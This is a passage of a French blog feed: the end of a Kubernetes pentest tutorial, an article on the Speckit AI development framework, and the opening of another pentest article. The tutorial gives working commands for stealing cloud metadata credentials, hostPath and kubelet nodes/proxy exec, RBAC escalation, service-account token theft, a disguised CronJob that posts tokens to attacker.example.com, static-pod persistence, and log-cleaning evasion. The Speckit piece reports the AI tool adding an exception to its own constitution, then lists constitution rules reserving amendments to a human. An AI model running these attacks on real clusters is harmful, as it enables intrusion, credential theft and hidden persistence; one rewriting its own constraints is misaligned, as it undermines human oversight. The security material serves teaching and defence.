<pre><code class="language-bash"># AWS : récupérer les credentials IAM du nœud
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
node-role-eks
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/node-role-eks
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-03-05T18:00:00Z"
}

# GCP : récupérer le token OAuth du nœud
$ curl -s -H "Metadata-Flavor: Google" \
    http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# Azure : récupérer le token d'identité managée
$ curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://management.azure.com/"
</code></pre>
<p>Ces credentials cloud permettent de pivoter hors du cluster : accéder aux buckets S3, aux bases de données cloud, aux autres services de l'infrastructure. C'est souvent le chemin le plus court vers une compromission complète de l'environnement cloud.</p>
<p><strong>Pivot réseau</strong></p>
<p>Avec <code>hostNetwork</code>, le pod partage l'interface réseau du nœud. On peut scanner le réseau de management des nœuds (ici <code>10.25.11.0/24</code>) et atteindre des services qui ne sont pas exposés au réseau des pods : bases de données en dehors du cluster, serveurs de CI/CD, NFS, etc.</p>
<pre><code class="language-bash"># Scanner le réseau des nœuds
\( for i in \)(seq 1 254); do
    timeout 1 bash -c "echo &gt; /dev/tcp/10.25.11.\(i/22" 2&gt;/dev/null &amp;&amp; echo "10.25.11.\)i:22 open"
done
10.25.11.200:22 open
10.25.11.201:22 open
10.25.11.202:22 open
</code></pre>
<h3>Cibler un nœud spécifique avec nodeName</h3>
<p>Par défaut, le scheduler choisit le nœud. Mais l'attaquant peut forcer le placement sur un nœud précis avec <code>nodeName</code> :</p>
<pre><code class="language-yaml">apiVersion: v1
kind: Pod
metadata:
  name: target-worker02
spec:
  nodeName: k3s-worker-02    # forcer le placement sur ce nœud
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
</code></pre>
<p>L'intérêt est de cibler un nœud spécifique pour récupérer les tokens SA des pods qui tournent dessus. Par exemple, la cartographie montre que <code>ingress-nginx-controller</code> tourne sur <code>k3s-worker-02</code> et que son SA a <code>list watch</code> sur les secrets de tout le cluster. En déployant un pod hostPath sur <code>k3s-worker-02</code>, on accède au token de l'ingress controller dans <code>/var/lib/kubelet/pods/</code> et on hérite de ses droits.</p>
<p>Pour cibler le master (<code>k3s-master</code>), on récupère en plus le kubeconfig admin et l'accès au datastore kine/etcd.</p>
<h3>Quand Pod Security Admission bloque</h3>
<p>Les clusters modernes utilisent Pod Security Admission (PSA) pour restreindre les pods :</p>
<pre><code class="language-bash">$ kubectl apply -f everything-allowed.yaml
Error from server (Forbidden): pods "everything-allowed" is forbidden:
  violates PodSecurity "restricted:latest"
</code></pre>
<p>Stratégies de contournement :</p>
<ul>
<li><p><strong>Tester d'autres namespaces</strong> : les labels PSA sont par namespace, certains peuvent être plus permissifs</p>
</li>
<li><p><strong>Descendre dans la taxonomie</strong> : si <code>privileged</code> est bloqué, tester <code>hostPath</code>, puis <code>hostNetwork</code>, etc.</p>
</li>
<li><p><strong>Vérifier si on peut modifier les labels du namespace</strong> : <code>kubectl auth can-i patch namespaces</code>, si oui on peut changer le niveau PSA</p>
</li>
</ul>
<h2>Escalade de privilèges RBAC</h2>
<p>Si les droits actuels ne permettent pas de créer des pods privilégiés ou de lire les secrets, on peut tenter d'escalader via les mécanismes RBAC eux-mêmes.</p>
<h3>nodes/proxy : un GET qui donne un RCE</h3>
<p>Le verbe <code>get</code> sur la ressource <code>nodes/proxy</code> semble inoffensif, mais il donne un accès direct au Kubelet de chaque nœud. Le Kubelet expose un endpoint <code>/exec</code> qui utilise WebSocket : la requête initiale est un GET, et le Kubelet valide cette requête au lieu de vérifier les permissions <code>create</code> normalement requises pour l'exécution de commandes.</p>
<pre><code class="language-bash"># Vérifier si on a ce droit
$ kubectl auth can-i get nodes/proxy
yes

# Lister les pods du nœud via le Kubelet
$ kubectl get --raw "/api/v1/nodes/k3s-worker-01/proxy/pods" | jq '.items[].metadata.name'
"victim-pod"
"cilium-wqqnp"
"local-path-provisioner-546dfc6456-fbk7k"

# Exec dans un pod via le Kubelet (bypass de l'API server)
$ websocat --insecure \
    --header "Authorization: Bearer $TOKEN" \
    --protocol v4.channel.k8s.io \
    "wss://10.25.11.201:10250/exec/default/victim-pod/victim-pod?command=id"
uid=0(root) gid=0(root)
</code></pre>
<p>L'intérêt est double : on peut exec dans n'importe quel pod du nœud sans avoir <code>create pods/exec</code>, et ces requêtes passent par le Kubelet plutôt que par l'API server, ce qui peut échapper aux audit logs. Documenté par <a href="https://grahamhelton.com/blog/nodes-proxy-rce">Graham Helton</a>.</p>
<h3>Modifier les RoleBindings</h3>
<p>Avec le verbe <code>create</code> ou <code>patch</code> sur les RoleBindings, on peut s'attribuer un rôle existant :</p>
<pre><code class="language-bash"># Vérifier le droit
$ kubectl auth can-i create rolebindings -n default
yes

# Se lier au ClusterRole "admin" dans le namespace default
$ kubectl create rolebinding self-admin \
    --clusterrole=admin \
    --serviceaccount=default:compromised-sa \
    -n default
rolebinding.rbac.authorization.k8s.io/self-admin created

# Vérifier les nouveaux droits
$ kubectl auth can-i get secrets -n default
yes
</code></pre>
<p>Les ClusterRoles <code>admin</code>, <code>edit</code> et <code>cluster-admin</code> existent par défaut dans tout cluster Kubernetes. Si on peut créer un ClusterRoleBinding (portée cluster-wide), on obtient un accès total.</p>
<h3>Impersonation</h3>
<p>Le verbe <code>impersonate</code> permet d'agir en tant qu'un autre utilisateur ou SA :</p>
<pre><code class="language-bash"># Agir en tant que le SA cilium
$ kubectl get pods --all-namespaces \
    --as=system:serviceaccount:kube-system:cilium

# Agir en tant qu'un groupe admin
$ kubectl get secrets -A --as=admin --as-group=system:masters
</code></pre>
<p>L'impersonation ne modifie rien : on emprunte temporairement l'identité d'un autre compte. C'est transparent dans les audit logs (l'impersonation y est tracée).</p>
<h3>Combo : create pods sans get secrets</h3>
<p>Un pattern classique : le SA ne peut pas lire les secrets directement, mais peut créer des pods. On crée alors un pod qui monte le secret cible :</p>
<pre><code class="language-yaml">apiVersion: v1
kind: Pod
metadata:
  name: secret-reader
spec:
  containers:
  - name: reader
    image: alpine
    command: ["sleep", "infinity"]
    env:
    - name: DB_PASSWORD
      valueFrom:
        secretKeyRef:
          name: app-secret
          key: password
    volumeMounts:
    - name: secret-vol
      mountPath: /secrets
  volumes:
  - name: secret-vol
    secret:
      secretName: app-secret
</code></pre>
<pre><code class="language-bash">$ kubectl apply -f secret-reader.yaml
$ kubectl exec secret-reader -- env | grep DB_PASSWORD
DB_PASSWORD=s3cr3t

$ kubectl exec secret-reader -- cat /secrets/password
s3cr3t
</code></pre>
<p>Le secret est lisible sans jamais avoir eu <code>get secrets</code>.</p>
<h2>Mouvement latéral entre namespaces</h2>
<h3>Exec dans des pods existants</h3>
<p>Avec <code>create pods/exec</code>, on peut entrer dans un pod existant et voler son token SA :</p>
<pre><code class="language-bash"># Lister les pods dans kube-system
$ kubectl get pods -n kube-system
NAME                                        READY   STATUS    RESTARTS   AGE
cilium-wqqnp                                1/1     Running   0          6d22h
local-path-provisioner-546dfc6456-fbk7k     1/1     Running   0          6d22h
coredns-695cbbfcb9-h559v                    1/1     Running   0          6d22h
...

# Voler le token du pod cilium
$ kubectl exec cilium-wqqnp -n kube-system -- \
    cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIs...

# Tester les droits du token volé
\( STOLEN_TOKEN=\)(kubectl exec cilium-wqqnp -n kube-system -- \
    cat /var/run/secrets/kubernetes.io/serviceaccount/token)
\( kubectl auth can-i --list --token="\)STOLEN_TOKEN" \
    --server=https://10.25.11.200:6443
</code></pre>
<h3>Déployer dans un autre namespace</h3>
<p>Si le SA a <code>create pods</code> dans un namespace système :</p>
<pre><code class="language-yaml">apiVersion: v1
kind: Pod
metadata:
  name: lateral-pod
  namespace: kube-system
spec:
  automountServiceAccountToken: true
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "infinity"]
</code></pre>
<p>Le pod hérite du SA <code>default</code> de <code>kube-system</code>, qui peut avoir plus de droits que celui de <code>default</code>. Et en ciblant un namespace spécifique, on accède aux secrets et configmaps de ce namespace depuis l'intérieur du pod.</p>
<h2>Persistance</h2>
<p>Une fois les privilèges obtenus, l'attaquant veut maintenir son accès même si le vecteur initial est corrigé.</p>
<h3>CronJob</h3>
<p>Un CronJob avec un nom anodin s'exécute périodiquement et peut exfiltrer des tokens ou maintenir un accès :</p>
<pre><code class="language-yaml">apiVersion: batch/v1
kind: CronJob
metadata:
  name: metrics-collector
  namespace: default
spec:
  schedule: "*/30 * * * *"
  successfulJobsHistoryLimit: 0
  failedJobsHistoryLimit: 0
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: collector
            image: alpine
            command:
            - /bin/sh
            - -c
            - |
              TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
              wget -q -O- --post-data="t=$TOKEN" http://attacker.example.com/c
          restartPolicy: Never
</code></pre>
<p><code>successfulJobsHistoryLimit: 0</code> et <code>failedJobsHistoryLimit: 0</code> suppriment automatiquement les pods terminés, réduisant les traces.</p>
<h3>Static pods</h3>
<p>Si l'attaquant a un accès au système de fichiers du nœud (via hostPath ou accès direct), il peut créer un <strong>static pod</strong>. Le kubelet surveille un répertoire de manifestes et crée automatiquement les pods qui y apparaissent :</p>
<pre><code class="language-bash"># K3s : /var/lib/rancher/k3s/agent/pod-manifests/
# kubeadm : /etc/kubernetes/manifests/

$ cat &gt; /host/var/lib/rancher/k3s/agent/pod-manifests/debug-agent.yaml &lt;&lt;'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: debug-agent
  namespace: kube-system
spec:
  hostNetwork: true
  containers:
  - name: agent
    image: alpine
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: root
      mountPath: /host
  volumes:
  - name: root
    hostPath:
      path: /
EOF
</code></pre>
<p>Ce pod est recréé automatiquement par le kubelet s'il est supprimé via <code>kubectl delete</code>. Le seul moyen de le supprimer est de retirer le fichier manifeste du nœud. C'est une persistance très durable car elle ne passe pas par l'API server.</p>
<h3>Mutating Admission Webhook</h3>
<p>Le mécanisme le plus discret : un webhook qui intercepte chaque création de pod et y injecte un sidecar ou un montage de secret. Nécessite <code>create mutatingwebhookconfigurations</code>, ce qui est rare hors cluster-admin. Documenté dans la <a href="https://microsoft.github.io/Threat-Matrix-for-Kubernetes/">Threat Matrix for Kubernetes de Microsoft</a>.</p>
<h2>Évasion et discrétion</h2>
<h3>Noms anodins</h3>
<p>Les noms des pods malveillants doivent se fondre dans les workloads existants :</p>
<pre><code class="language-bash"># Mauvais : attacker-pod, pwn-shell, reverse-shell
# Bon : metrics-collector, log-rotator, health-checker, cilium-monitor
</code></pre>
<h3>Réduire les traces</h3>
<pre><code class="language-bash"># Supprimer les events (expirent après 1h par défaut, mais visibles entre-temps)
$ kubectl delete events --all -n default

# Supprimer un pod après usage
$ kubectl delete pod everything-allowed --force --grace-period=0
</code></pre>
<p>Chaque appel <code>kubectl exec</code> génère un événement dans les audit logs. Pour limiter les traces, préférer un montage <code>hostPath</code> et travailler directement depuis le pod plutôt que de multiplier les <code>exec</code>.</p>
<hr />
<p><strong>TL;DR</strong> : avec un accès API, l'attaquant commence par cartographier ses droits (<code>auth can-i</code>) et ceux des autres (<code>who-can</code>) pour identifier ses vecteurs. Selon les permissions : lecture directe des secrets et configmaps, déploiement de pods malveillants (Bad Pods) ciblant des nœuds spécifiques pour récupérer des tokens SA, SSRF vers les metadata cloud via <code>hostNetwork</code>, escalade RBAC via les RoleBindings ou l'impersonation, mouvement latéral entre namespaces. La persistance passe par des CronJobs, des static pods, ou des admission webhooks.</p>
<h2>Conclusion de la série</h2>
<p>Cette série a couvert le parcours complet d'un attaquant face à un cluster Kubernetes : la compréhension de l'architecture et des objets (partie 1), le fonctionnement réseau et le cloisonnement (partie 2), la reconnaissance externe et l'accès initial (partie 3), la progression depuis un pod compromis jusqu'à l'évasion vers le nœud (partie 4), et l'exploitation de l'accès API jusqu'à la prise de contrôle du cluster (partie 5).</p>
<p>Le constat est clair : un cluster Kubernetes déployé avec ses valeurs par défaut offre une surface d'attaque considérable. Les Service Accounts montés automatiquement, l'absence de NetworkPolicies, les RBAC trop permissifs, et les pods sans restrictions de sécurité forment une chaîne d'exploitation qui mène régulièrement du premier shell dans un pod au cluster-admin complet.</p>
<p>Pour les défenseurs, les leviers existent : Pod Security Admission pour restreindre les attributs des pods, NetworkPolicies pour segmenter le réseau, RBAC least-privilege pour limiter les droits des Service Accounts, chiffrement at-rest pour protéger etcd, audit logging pour détecter les comportements suspects, et des outils comme <a href="https://github.com/aquasecurity/kube-bench">kube-bench</a>, <a href="https://github.com/Shopify/kubeaudit">kubeaudit</a>, ou <a href="https://falco.org/">Falco</a> pour auditer et surveiller en continu. La sécurité d'un cluster Kubernetes n'est pas un état, c'est un processus.</p>
]]></content:encoded></item><item><title><![CDATA[Comment l'IA redéfinit la QA avec Speckit]]></title><description><![CDATA[Le métier de développeur est désormais augmenté par l'IA générative. Le vibe coding sauvage va vite, uniquement guidé par l'instinct de son humain qui n'a pas besoin d'écrire ses idées puisqu'il les d]]></description><link>https://niji.tech/speckit-et-qualite</link><guid isPermaLink="true">https://niji.tech/speckit-et-qualite</guid><category><![CDATA[SpecKit]]></category><category><![CDATA[Harness]]></category><dc:creator><![CDATA[Julien Codet]]></dc:creator><pubDate>Mon, 15 Jun 2026 16:53:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/46121070-a09a-40a8-b727-4ec55e7a2fe8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Le métier de développeur est désormais augmenté par l'IA générative. Le vibe coding sauvage va vite, uniquement guidé par l'instinct de son humain qui n'a pas besoin d'écrire ses idées puisqu'il les développe aussitôt. En développement sur un nouveau projet (greenfield), ça va très vite.</p>
<p>Toutefois, des mois plus tard quand il faut faire évoluer le produit, l'équipe a changé. Les spécifications du produit sont absentes mais elles peuvent être rétrogénérées à partir du code par Claude Code, Cursor ou autre. Donc la nouvelle équipe peut à nouveau s'approprier le legacy et vibe coder sauvagement la suite. En refactoring d'un projet existant (brownfield)...ça va donc très vite aussi.</p>
<p>A priori donc, c'est suffisant pour être compétitif ?</p>
<p>J'ai testé Speckit, qui est l'un des framework de <a href="https://openai.com/fr-FR/index/harness-engineering/"><em>Harness Engineering</em></a> en vogue, dont la prétention est d'apporter davantage de cadre et de prédictibilité dans le développement augmenté. Cet article décrit mon expérience sur le sujet.</p>
<h2>Le niveau 1 : l'Acceptance Test Driven Development</h2>
<p>Les tests d'acceptance qui traduisent l'acceptabilité du produit pour sa mise en service ne pourront pas être rétro-générés à partir du code, s'ils n'ont pas été écrits initialement alors ils sont perdus. Intuitivement on pourrait se dire que si, bien sûr, Claude Code peut rétro générer les tests et critères d'acceptation à partir du legacy. Mais c'est tomber dans un biais de confirmation : l'IA ne peut tester que ce qui est écrit, pas ce qui aurait du l'être. Toutes les règles implicites seront simplement ignorées.</p>
<p>Exemple : si un Product Owner a dit un jour que tous les écrans doivent être affichés en moins de 200 ms, le vibe codeur initial l'a sans doute respecté dans son formulaire d'une complexité maîtrisée. Le vibe codeur suivant lui (ou le même développeur 3 mois plus tard), s'appuiera sur le code de l'écran généré et ne s'empêchera pas de le complexifier à outrance parce que ça va vite et que rien ne l'interdit. Et aucun garde-fou n'empêchera l'appli d'aller jusqu'à la prod et d'échouer.</p>
<p>La spécification peut être rétrogénérée, oui et sans doute avec encore plus de détail qu'au terme d'une intervention humaine traditionnelle en début de projet. Mais les tests d'acceptance doivent être au centre de la stratégie de tests. C'est pas nouveau comme paradigme mais avec l'IA générative, l'Acceptance Test Driven Development (ATDD) devient accessible. L'investissement initial à consentir, autrefois rédhibitoire pour les Product Owners peut devenir quasi transparent désormais. Certains frameworks tels <a href="https://github.com/github/spec-kit#-core-philosophy">Speckit</a> ou <a href="https://github.com/bmad-code-org/bmad-method">BMAD</a> permettent de prendre de la hauteur pour passer de <a href="https://fr.wikipedia.org/wiki/Vibe_coding">vibe-coder</a> à architecte-développeur : on ne code plus à l'instinct, mais on structure des plans de développement pour maîtriser la reproductibilité des opérations. La spécification est promptée une fois, le plan d'implémentation et les tâches eux sont jetables (par exemple, un plan pour une implémentation Kotlin, et un plan de la même spécification pour Swift).</p>
<p>Les frameworks de développement comme Speckit, permettent d'automatiser une grande partie de l'approche ATDD. La charge cognitive des développeurs est ainsi réduite, leur intervention concentrée sur les décisions importantes. Vous promptez votre besoin, Speckit identifie ce qui est important et doit être testé, il génère et vous propose des tests d'acceptance, avant de s'intéresser au code de la feature. Son plan d'implémentation prévoit ensuite d'itérer sur le code tant que tous les tests ne sont pas passants.</p>
<p>Prenons l'exemple d'un produit basique et spécifions le avec Speckit :</p>
<p><code>/speckit.specify une application web de prise de rendez-vous entre professionnel et particulier.</code></p>
<p>S'il est paramétré pour, Speckit génère automatiquement un répertoire specs/001-pro-client-booking avec un fichier de spécifications structuré en User Stories et tests d'acceptance :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/d4a1c172-8cd6-4e41-9b20-c0fffedaee82.png" alt="" style="display:block;margin:0 auto" />

<p>En tant que développeur je peux soit valider en l'état et passer au plan d'implémentation, soit modifier cette spécification pour préciser les tests et critères d'acceptation.</p>
<h2>Le niveau 2 : la Constitution</h2>
<p>Speckit introduit un principe fort de <em>Harness Engineering</em> : le mécanisme de constitution permet de définir les grands principes auxquels toute nouvelle demande devra souscrire automatiquement, pour toujours ou jusqu'à amendement de la constitution. Un harnais de sécurité, mais encore plus haut que les tests d'acceptance au sommet de la pyramide de tests. Car la promesse qui fait la différence avec ces derniers, c'est que l'IA est capable de censurer une évolution avant même de la développer, si elle détecte une violation d'un amendement. C'est différent des rules (Claude Code, Cursor...) car chaque constitution est propre au cycle de vie de son projet. [Edit : BMAD a depuis repris le principe dans son <code>project-context.md</code>]</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/f3f52b5d-a99b-4beb-b087-e73d1fd46414.png" alt="" style="display:block;margin:0 auto" />

<p>Vérifions cela par l'exemple en continuant sur l'exemple précédent de l'application de prise de rendez-vous et inscrivons maintenant dans la constitution du projet le principe suivant, pour tout le cycle de vie du projet :</p>
<blockquote>
<p>L'utilisateur ne doit jamais attendre plus de 200 ms le chargement d'un écran quel qu'il soit avant de pouvoir l'utiliser.</p>
</blockquote>
<p>Ensuite, le skill de clarification permet d'identifier les incohérences fonctionnelles dans notre première spécification, pour combler les trous dans la raquette. Ce skill est d'une pertinence rare (surtout compte tenu du manque de consistance de ma spécification à ce stade). 5 questions me sont posées pour répondre aux questions les plus structurantes détectées par l'IA :</p>
<p><code>/speckit.clarify</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/fefabb0f-aae4-4299-9676-603b12ea4e39.png" alt="" style="display:block;margin:0 auto" />

<p>Une fois les réponses aux 5 questions obtenues, la spécification est mise à jour automatiquement et un test d'acceptance a été généré pour assurer que jamais une évolution ne viendra charger au-delà de 200ms un écran de l'application, Speckit a même été agressif en précisant des minimas là où je n'avais rien spécifié :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/eaa71054-bd44-4ed3-979d-c55b906a364c.png" alt="" style="display:block;margin:0 auto" />

<p>On peut passer à la génération du plan d'implémentation :</p>
<p><code>/speckit.plan Frontend &amp; Backend : Next.js 14+ (App Router) avec TypeScript</code></p>
<p><code>Base de données : PostgreSQL avec Prisma ORM (ou Supabase)</code></p>
<p><code>Styles &amp; UI : Tailwind CSS + composants Shadcn/ui</code></p>
<p><code>Gestion d'état / Requêtes : TanStack Query (React Query) si nécessaire, ou Server Actions Next.js</code></p>
<p><code>Authentification : Auth.js (NextAuth) ou Clerk</code></p>
<p><code>Base de données : Gestion rigoureuse des fuseaux horaires (Timezones) et verrouillage des créneaux pour éviter la "race condition" (deux clients qui cliquent en même temps sur le même créneau).</code></p>
<p><code>Design : Mobile-first, épuré et accessible (composants Radix/Shadcn).</code></p>
<p><code>Performance : Chargement des créneaux optimisé (Lazy loading ou Server-side rendering des jours).</code></p>
<p>Le plan est généré :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/b466786e-7f5d-477f-a8d4-3d1d4670efdb.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/3d0673bf-b358-4c58-a798-7024066395c6.png" alt="" style="display:block;margin:0 auto" />

<p>Découpons ensuite le plan généré en tâches :</p>
<p><code>/speckit.tasks</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/9003d806-2cdd-47f5-b825-01cfd61164cf.png" alt="" style="display:block;margin:0 auto" />

<p>Et enfin, implémentons :</p>
<p><code>/speckit.implement</code></p>
<p>Après mise en place et conf d'une base postgresql, l'application tourne :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/80d99a34-3a9f-41eb-bed2-af22c9ddbc02.png" alt="" style="display:block;margin:0 auto" />

<h3>Pause</h3>
<p>6 mois. De bonnes vacances bien méritées pour l'équipe qui a mis en prod la v1.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/7e89faf7-190d-4466-bfc1-1a4b90224d2f.png" alt="" style="display:block;margin:0 auto" />

<p>6 mois plus tard, c'est une équipe v2 qui revient apporter une évolution majeure à notre application. Et que lui manque-t-il de plus important ? Je vous le donne Emile ? Un loader. Un bon gros loader.</p>
<p>Nouvelle équipe, nouvelle demande d'évolution :</p>
<p><code>/speckit-specify applique un look n feel années 80, dans un style synthwave. L'écran d'accueil doit afficher l'animation d'une cassette audio en lecture pendant exactement 1.5 secondes, dès le début du chargement de la page d'accueil avant de révéler les créneaux de RDV, afin d'ancrer notre identité visuelle dans l'esprit des utilisateurs. Ajoute des blagues en rapport avec les groupes des années 80 pour agrémenter notre loader</code></p>
<p>Speckit ne s'embête pas et ajoute une exception à la constitution (comment ça ?!)</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/91cfb41a-345a-4ce1-a106-ee01ebfba7c6.png" alt="" style="display:block;margin:0 auto" />

<p>Si on va plus loin sans trop lire ce que génère Speckit, on fonce dans le mur.</p>
<h2>Niveau 3 : le méta-prompting</h2>
<h3>Bétonner la constitution</h3>
<p>L'IA cherchera toujours à contourner la constitution voire l'amender elle-même, comme Donald pour un nouveau mandat en 2028. Si vous foncez comme un bourrin, nous l'avons vu : l'anomalie arrivera en production (et Donald au pouvoir).</p>
<p>Alors recommençons en rendant notre constitution plus robuste et rejouons notre scénario. Je rajoute ces lignes au fichier de constitution :</p>
<blockquote>
<ul>
<li><p>L'utilisateur ne doit jamais attendre plus de 200 ms le chargement d'un écran quel qu'il soit.</p>
</li>
<li><p>Gestion des conflits : Tout projet d'évolution entrant en conflit ou en tension avec un amendement existant doit être systématiquement rejeté. Il est strictement interdit d'interpréter, de contourner ou de forcer la validation d'une telle demande.</p>
</li>
<li><p>Souveraineté humaine : Aucune modification de la Constitution ne peut être automatisée. Seul l'administrateur humain dispose du pouvoir exclusif d'approuver et d'appliquer un amendement.</p>
</li>
<li><p>Blocage réglementaire : Toute demande exigeant une révision constitutionnelle préalable doit être bloquée immédiatement, avant même toute phase de génération de code.</p>
</li>
</ul>
</blockquote>
<p>Notons que ces 3 derniers principes sont très forts, et "mettent des limites à l'IA". Car oui, sans le 3e de ces principes par exemple, Speckit aurait trouvé la faille :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/86e69728-94d1-4e35-8cb9-b78ec958a371.png" alt="" style="display:block;margin:0 auto" />

<p><a href="https://github.com/multica-ai/andrej-karpathy-skills">Un développeur</a> a même traduit les guidelines énoncées par <a href="https://fr.wikipedia.org/wiki/Andrej_Karpathy">Andrej Karpathy</a> (chercheur et membre fondateur d'OpenAI) dans des principes que l'on peut reprendre ici pour aller encore plus loin dans le méta-prompting.</p>
<p>Relançons ensuite notre spécification d'évolution :</p>
<p><code>/speckit-specify applique un look n feel années 80, dans un style synthwave. L'écran d'accueil doit afficher l'animation d'une cassette audio en lecture pendant exactement 1.5 secondes, dès le début du chargement de la page d'accueil avant de révéler les créneaux de RDV, afin d'ancrer notre identité visuelle dans l'esprit des utilisateurs. Ajoute des blagues en rapport avec les groupes des années 80 pour agrémenter notre loader</code></p>
<p>La spécification passe sans encombre...voyons la suite.</p>
<p><code>/speckit.plan</code></p>
<p>Notre demande est anticonstitutionnelle. Speckit le sait et nous bloque désormais.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/bb03d996-c09f-49da-8998-f41791dbe172.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/18d7d8a1-f9e5-411b-ad68-f8d4ceedf238.png" alt="" style="display:block;margin:0 auto" />

<p>La constitution a joué son rôle de harnais de sécurité et nous propose soit d'amender la constitution soit d'abandonner notre demande. Aucune ligne de code n'a été générée ni retouchée.</p>
<p>Amendons notre constitution :</p>
<p>"<code>L'utilisateur ne doit jamais attendre plus de 3200 ms le chargement d'un écran quel qu'il soit</code>"</p>
<p>Relançons la création du plan, puis son implémentation, qui passent logiquement cette fois sans encombre. Réglons même le timer à 3 secondes : ça passe toujours.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/12cfd042-ec57-4166-bd7d-b8d4511b4e3c.gif" alt="" style="display:block;margin:0 auto" />

<h2>Synthèse</h2>
<p>En tant que directeur de projet, j'ai souvent été confronté à ce scénario. Par exemple, des formules mathématiques vitales pour l'équilibrage du réseau électrique national définies lors du cadrage initial par des experts scientifiques insaisissables, dont les tests automatisés coûteux étaient programmés mais jamais complètement à jour par rapport au code. Le temps manquant, on préfère exécuter des tests manuels donc faillibles, plutôt que d'investir dans le développement et la maintenance des tests automatisés, et le risque explose. Le mécanisme de constitution présenté ici prouve qu'avec une approche simple mais rigoureuse, on peut sanctuariser la qualité et la réussite d'un projet tech complexe dans la durée.</p>
<h2>Conclusion</h2>
<p>Speckit comporte plusieurs avantages mais n'est pas parfait. Et c'est normal, de l'aveu de Github qui l'a créé, puisque l'outil est en développement. A l'usage on se rend compte notamment :</p>
<ul>
<li><p>Le cycle d'instructions à respecter est fastidieux, mais obligatoire pour ne pas risquer de désynchroniser spécifications et code. Cela parait utopique de conserver cette rigueur en cas d'urgence (coucou l'ano de prod du vendredi). Les spécifications et les tests ne reflètent alors plus le code et ne sont plus une source de vérité pour l'avenir.</p>
</li>
<li><p>Speckit crée un nouveau répertoire à chaque prompt, contenant ses propres spécifications, plans d'implémentation, tâches. Pour garder une bonne lisibilité il faut une sacrée maturité au départ, et cela incite à retarder le démarrage des développements (coucou le cycle en V). Si on veut démarrer vite, l'arborescence des spécifications et tests devient illisible.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/d8a81b27-2ba4-4d4a-b850-07b27b724084.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Par ailleurs Speckit est efficace pour un Lonesome Hero Coder. Si on est plusieurs dans l'équipe, comment faire pour ne pas se marcher dessus ? Comment faire pour paralléliser le travail sans induire continuellement des conflits dans les spécifications et les tests ?</p>
</li>
</ul>
<p>Nous tenterons d'apporter des réponses à ces enjeux dans le prochain article de la série !</p>
]]></content:encoded></item><item><title><![CDATA[De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 2/3]]></title><description><![CDATA[Dans l'article précédent, nous avons couvert la surface d'attaque externe d'un cluster Kubernetes et les vecteurs permettant d'obtenir un premier accès. On se retrouve maintenant dans la situation sui]]></description><link>https://niji.tech/from-network-exposition-to-cluster-administration-k8s-cluster-pentest-2-3</link><guid isPermaLink="true">https://niji.tech/from-network-exposition-to-cluster-administration-k8s-cluster-pentest-2-3</guid><category><![CDATA[Kubernetes]]></category><category><![CDATA[Security]]></category><category><![CDATA[pentesting]]></category><dc:creator><![CDATA[Marc LE PECH]]></dc:creator><pubDate>Wed, 27 May 2026 15:30:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690093e131b18d5420f79f7a/d3350c2c-cb90-4543-9381-54f008cbe0c9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dans l'article précédent, nous avons couvert la surface d'attaque externe d'un cluster Kubernetes et les vecteurs permettant d'obtenir un premier accès. On se retrouve maintenant dans la situation suivante : un accès arbitraire aux commandes est établi sur un pod. C'est un point de départ contraint : on est confiné dans un conteneur, sans visibilité directe sur le reste du cluster, mais c'est suffisant pour progresser.</p>
<p>L'objectif principal est de <strong>pivoter vers l'API Kubernetes</strong> et d'y gagner des privilèges. L'API server est le point de contrôle central du cluster : qui peut s'y authentifier avec les bons droits peut lire des secrets, déployer des pods, exec dans des conteneurs, et potentiellement prendre le contrôle total du cluster. Depuis un pod, les vecteurs pour atteindre cette API se répartissent en plusieurs axes : le Service Account monté automatiquement, la reconnaissance des services internes accessibles sur le réseau du cluster, les composants du plan de contrôle joignables depuis l'intérieur, et enfin la sortie du conteneur pour atterrir directement sur le nœud.</p>
<h2><strong>Reconnaissance depuis un pod</strong></h2>
